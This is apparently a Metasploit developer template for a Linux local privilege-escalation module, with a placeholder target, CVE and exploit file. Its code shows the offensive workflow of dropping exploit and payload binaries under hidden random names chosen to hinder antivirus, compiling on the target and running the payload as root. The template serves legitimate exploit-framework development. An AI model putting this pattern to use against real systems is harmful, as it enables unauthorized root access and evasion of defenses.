## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ### # # This exploit sample shows how an exploit module could be written to exploit # a bug in a command on a linux computer for priv esc. # ### class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html # includes: is_root? include Msf::Post::Linux::Priv # includes: has_gcc? include Msf::Post::Linux::System # includes: kernel_release include Msf::Post::Linux::Kernel # includes writable?, upload_file, upload_and_chmodx, exploit_data include Msf::Post::File # includes generate_payload_exe include Msf::Exploit::EXE # includes register_files_for_cleanup include Msf::Exploit::FileDropper # includes: COMPILE option, live_compile?, upload_and_compile # strip_comments include Msf::Post::Linux::Compile prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, # The Name should be just like the line of a Git commit - software name, # vuln type, class. Preferably apply # some search optimization so people can actually find the module. # We encourage consistency between module name and file name. 'Name' => 'Sample Linux Priv Esc', 'Description' => %q{ This exploit module illustrates how a vulnerability could be exploited in an linux command for priv esc. }, 'License' => MSF_LICENSE, # The place to add your name/handle and email. Twitter and other contact info isn't handled here. # Add reference to additional authors, like those creating original proof of concepts or # reference materials. # It is also common to comment in who did what (PoC vs metasploit module, etc) 'Author' => [ 'h00die ', # msf module 'researcher' # original PoC, analysis ], 'Platform' => [ 'linux' ], # from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit # may only apply to say ARCH_PPC or something else, where a specific arch is required. # A full list is available in lib/msf/core/payload/uuid.rb 'Arch' => [ ARCH_X86, ARCH_X64 ], # What types of sessions we can use this module in conjunction with. Most modules use libraries # which work on shell and meterpreter, but there may be a nuance between one of them, so best to # test both to ensure compatibility. 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access # since privilege escalation modules typically result in elevated privileges, this is # generally set to true 'Privileged' => true, 'References' => [ [ 'OSVDB', '12345' ], [ 'EDB', '12345' ], [ 'URL', 'http://www.example.com'], [ 'CVE', '1978-1234'] ], 'DisclosureDate' => '2023-11-29', # Note that DefaultTarget refers to the index of an item in Targets, rather than name. # It's generally easiest just to put the default at the beginning of the list and skip this # entirely. 'DefaultTarget' => 0, # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { 'Stability' => [], 'Reliability' => [], 'SideEffects' => [] } ) ) # force exploit is used to bypass the check command results register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end # Simplify pulling the writable directory variable def base_dir datastore['WritableDir'].to_s end def check # Check the kernel version to see if its in a vulnerable range # we guard this because some distros have funky kernel versions https://github.com/rapid7/metasploit-framework/issues/19812 release = kernel_release begin if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') || Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0') return CheckCode::Safe("Kernel version #{release} is not vulnerable") end rescue ArgumentError => e return CheckCode::Safe("Error determining or processing kernel release (#{release}) into known format: #{e}") end vprint_good "Kernel version #{release} appears to be vulnerable" # Check the app is installed and the version, debian based example package = cmd_exec('dpkg -l example | grep \'^ii\'') if package&.include?('1:2015.3.14AR.1-1build1') return CheckCode::Appears("Vulnerable app version #{package} detected") end CheckCode::Safe("app #{package} is not vulnerable") end # # The exploit method drops a payload file to the system, then either compiles and runs # or just runs the exploit on the system. # def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end # Make sure we can write our exploit and payload to the local system unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable, writing to a random name so AV doesn't have too easy a job executable_name = ".#{rand_text_alphanumeric(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, strip_comments(exploit_data('example.c')) rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('example') end # register the file for automatic cleanup register_files_for_cleanup(executable_path) # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # register payload for automatic cleanup register_files_for_cleanup(payload_path) # Launch exploit with a timeout. We also have a vprint_status so if the user wants all the # output from the exploit being run, they can optionally see it timeout = 30 print_status 'Launching exploit...' output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout output.each_line { |line| vprint_status line.chomp } end end